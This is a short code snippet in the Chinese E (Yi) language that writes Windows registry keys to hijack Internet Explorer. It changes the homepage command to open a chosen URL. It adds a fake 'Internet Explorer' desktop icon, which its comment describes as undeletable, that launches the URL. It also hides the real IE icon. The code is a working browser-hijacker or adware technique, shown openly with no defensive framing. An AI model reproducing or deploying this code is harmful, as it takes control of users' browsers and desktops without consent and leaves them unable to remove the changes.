版本 2
写注册项 (#根类, “CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\”, #引号 + “C:\Program Files\Internet Explorer\iexplore.exe” + #引号 + “ ” + #引号 + 网址 + #引号) ' 修改原Internet命令行
' 添加删除不掉的internet快捷方式
写注册项 (#根类, “CLSID\” + #GUID + “\”, “Internet Explorer”)
写注册项 (#根类, “CLSID\” + #GUID + “\DefaultIcon\”, “C:\Program Files\Internet Explorer\IEXPLORE.EXE”)
写注册项 (#根类, “CLSID\” + #GUID + “\shell\Open(&O)\”, “Open(&O)”)
写注册项 (#根类, “CLSID\” + #GUID + “\shell\Open(&O)\Command\”, “C:\Program Files\Internet Explorer\IEXPLORE.EXE %1 ” + 网址)
写注册项 (#根类, “CLSID\” + #GUID + “\shell\属性(&D)\”, “属性(&D)”)
写注册项 (#根类, “CLSID\” + #GUID + “\shell\属性(&D)\Command\”, “Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl”)
写注册项 (#根类, “CLSID\” + #GUID + “\ShellFolder\Attributes”, 0)
写注册项 (#本地机器, “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\” + #GUID + “\”, “Internet Explorer”)
' 隐藏桌面上原来的Internet快捷方式
写注册项 (#所有用户, “S-1-5-21-823518204-1935655697-1177238915-500\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\” + #InterGUID, 1) ' 1为隐藏,0为显示